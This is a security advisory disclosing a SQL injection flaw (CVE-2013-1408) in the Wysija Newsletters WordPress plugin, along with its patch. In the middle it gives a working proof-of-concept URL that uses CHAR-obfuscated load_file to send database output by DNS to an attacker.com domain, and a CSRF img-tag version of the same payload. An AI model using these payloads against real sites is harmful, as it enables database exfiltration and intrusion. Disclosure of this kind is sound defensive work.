SQL Injection Vulnerability in Wysija Newsletters WordPress Plugin

[advisory () htbridge com]

Advisory ID: HTB23140
Product: Wysija Newsletters WordPress plugin
Vendor: Wysija
Vulnerable Version(s): 2.2 and probably prior
Tested Version: 2.2
Vendor Notification: January 16, 2013 
Vendor Patch: January 18, 2013 
Public Disclosure: February 6, 2013 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-1408
Risk Level: Medium 
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Wysija Newsletters WordPress plugin, which can be 
exploited to perform SQL Injection attacks.


1) SQL Injections in Wysija Newsletters WordPress plugin: CVE-2013-1408

The vulnerabilities exist due to insufficient filtration of user-supplied input passed via the "search" and "orderby" 
HTTP GET parameters to the "/wp-admin/admin.php" script. A remote authenticated administrator can execute arbitrary SQL 
commands in application's database.

The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application 
is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other 
sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by 
the attacker):

http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 -- 

This vulnerability could also be exploited by a remote non-authenticated attacker via CSRF vector, since the 
application is prone to cross-site request forgery attacks. In order to do so an attacker should trick the logged-in 
administrator into visiting a web page with CSRF exploit.

Basic CSRF exploit:

<img src="http://[host]/wp-admin/admin.php?page=wysija_campaigns&orderby=(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 -- ">


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Solution:

Upgrade to Wysija Newsletters 2.2.1

More Information:
http://wordpress.org/extend/plugins/wysija-newsletters/changelog/

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References:

[1] High-Tech Bridge Advisory HTB23140 - https://www.htbridge.com/advisory/HTB23140 - SQL Injection vulnerability in 
Wysija Newsletters WordPress plugin.
[2] Wysija Newsletters - http://www.wysija.com/ - A new and simple newsletter solution for WordPress.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.